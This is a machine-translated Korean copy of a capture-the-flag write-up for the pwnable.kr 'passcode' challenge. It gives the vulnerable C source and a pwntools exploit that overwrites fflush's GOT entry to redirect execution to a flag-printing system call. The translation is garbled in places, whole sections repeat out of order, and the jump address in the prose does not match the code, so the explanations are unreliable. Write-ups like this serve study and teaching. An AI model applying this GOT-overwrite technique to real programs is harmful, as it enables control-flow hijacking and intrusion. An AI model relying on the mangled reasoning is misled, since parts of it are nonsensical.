Pwnable.kr - 비밀번호 : 기입
문제 찾기
먼저 우리가 가지고 있는 코드를 살펴보겠습니다.
int main()
{
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
main()
함수는 welcome()
및 login()
두 개의 다른 함수를 호출합니다.
void welcome()
{
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
welcome()
는 100바이트 버퍼에서 이름을 가져오고 다시 인쇄합니다.
void login()
{
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if (passcode1 == 338150 && passcode2 == 13371337)
{
printf("Login OK!\n");
system("/bin/cat flag");
}
else
{
printf("Login Failed!\n");
exit(0);
}
}
login()
는 두 개의 암호를 입력하라는 메시지를 표시하고 적합하면 플래그를 표시합니다.
응용 프로그램을 테스트할 때 테스트가 호출되면 세분화 오류가 발생합니다.
따라서 행에 문제가 있는 것 같습니다.
if (passcode1 == 338150 && passcode2 == 13371337)
내 Neovim에서 코드를 열 때 형식이 scanf
를 지정하지만 인수가 login()
라는 int *
에 대한 int
줄에 대한 경고도 표시됩니다. 즉, 주소를 호출하고 값을 가져오는 대신 코드가 passcode1
및 passcode2
를 주소로 전달합니다. 세분화 오류의 원인이 될 수 있습니다.
바이너리 디버깅
디버거를 열어봅시다:
rz -d passcode
login()
를 살펴보겠습니다.
passcode1
및 passcode2
가 저장된 int32 변수임을 알 수 있습니다. 그러나 cmp dword [var_10h], 0x528e6
및 cmp dword [var_ch], 0xcc07c9
행은 값이 아닌 주소를 비교합니다.
이제 welcome()
를 살펴보겠습니다.
값이 저장되는 방식을 볼 수 있습니다. welcome()
에서 입력한 이름은 var_70h
에 저장되고 lea
로 호출됩니다.
login()
에는 lea
의 부호가 없지만 변수는 mov
로 직접 호출됩니다. 차이점은 무엇입니까? lea
는 "유효 주소 로드"를 나타내며 mov
는 주소를 레지스터로만 이동합니다. 이것은 변수가 포인터가 있는 변수가 아니라 우리를 버그로 이끄는 주소로 보인다는 우리의 이론을 확증합니다. 실제로 코드는 분명히 존재하지 않는 주소passcode1
및 passcode2
를 로드하려고 시도합니다.
악용하다
악성 페이로드를 실행하기 위해 메모리에 어떻게 액세스할 수 있습니까? 내 첫 번째 아이디어는 이름을 묻는 메시지가 표시될 때 페이로드를 넣는 것입니다. 그러나 이 변수는 login()
에서 호출되지 않아 해당 섹션으로 이동할 수 없습니다. 그러나 fflush()
에는 login()
명령이 있습니다. fflush()
는 가져온 함수입니다. 즉, 바이너리가 시작될 때 로드됩니다. 즉, 여기서 코드를 하이재킹하고(this 참조) 자체 페이로드로 덮어쓸 수 있습니다. 또한 fflush()
에 jmp
명령이 있는 것처럼 작동합니다.
그래서 다음과 같습니다.
int main()
{
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
void welcome()
{
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
void login()
{
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if (passcode1 == 338150 && passcode2 == 13371337)
{
printf("Login OK!\n");
system("/bin/cat flag");
}
else
{
printf("Login Failed!\n");
exit(0);
}
}
if (passcode1 == 338150 && passcode2 == 13371337)
디버거를 열어봅시다:
rz -d passcode
login()
를 살펴보겠습니다.passcode1
및 passcode2
가 저장된 int32 변수임을 알 수 있습니다. 그러나 cmp dword [var_10h], 0x528e6
및 cmp dword [var_ch], 0xcc07c9
행은 값이 아닌 주소를 비교합니다.이제
welcome()
를 살펴보겠습니다.값이 저장되는 방식을 볼 수 있습니다.
welcome()
에서 입력한 이름은 var_70h
에 저장되고 lea
로 호출됩니다.login()
에는 lea
의 부호가 없지만 변수는 mov
로 직접 호출됩니다. 차이점은 무엇입니까? lea
는 "유효 주소 로드"를 나타내며 mov
는 주소를 레지스터로만 이동합니다. 이것은 변수가 포인터가 있는 변수가 아니라 우리를 버그로 이끄는 주소로 보인다는 우리의 이론을 확증합니다. 실제로 코드는 분명히 존재하지 않는 주소passcode1
및 passcode2
를 로드하려고 시도합니다.악용하다
악성 페이로드를 실행하기 위해 메모리에 어떻게 액세스할 수 있습니까? 내 첫 번째 아이디어는 이름을 묻는 메시지가 표시될 때 페이로드를 넣는 것입니다. 그러나 이 변수는 login()
에서 호출되지 않아 해당 섹션으로 이동할 수 없습니다. 그러나 fflush()
에는 login()
명령이 있습니다. fflush()
는 가져온 함수입니다. 즉, 바이너리가 시작될 때 로드됩니다. 즉, 여기서 코드를 하이재킹하고(this 참조) 자체 페이로드로 덮어쓸 수 있습니다. 또한 fflush()
에 jmp
명령이 있는 것처럼 작동합니다.
그래서 다음과 같습니다.
jmp
(0x804a004)를 얻기 위해 fflush의 주소를 설정하고 제어 또는 EIP를 얻습니다. jmp
플래그를 인쇄하는 시스템 호출에 (0x080485ea) 작동 할 때까지 형식을 속이는 데 시간을 보냈습니다. 두 번째 주소가 16진수가 아닌 숫자여야 하는 이유를 잘 모르겠습니다. 하지만 어... 작동했습니다. 또한 두 번째 수신 호출을
recvall()
가 아닌 recvline()
로 호출하는 것이 중요하며 원하는 출력은 나중에 프로세스에서 나옵니다. 내 악용 코드를 검토하고 그 부분을 잊고 며칠을 보냈습니다.로컬 익스플로잇 코드는 다음과 같습니다.
from pwn import *
context.update(arch="i386", os="linux")
e = ELF("./passcode")
name = b"A" * 96
name += p32(0x804a004)
name += str.encode(str(0x080485d7))
p = e.process(level="error")
# header
print(p.recvline())
p.sendline(name)
print(p.recvall())
온라인에서 찾아보면 다른 악용 솔루션, 특히 oneliner가 있습니다. 그러나 어떤 이유로 Python2에서만 작동합니다. 나는 이유를 이해할 수 없었다. 그것에 대해 알고 있다면 의견에 알려주십시오!
Reference
이 문제에 관하여(Pwnable.kr - 비밀번호 : 기입), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/evilcel3ri/pwnable-kr-passcode-write-up-36gj텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)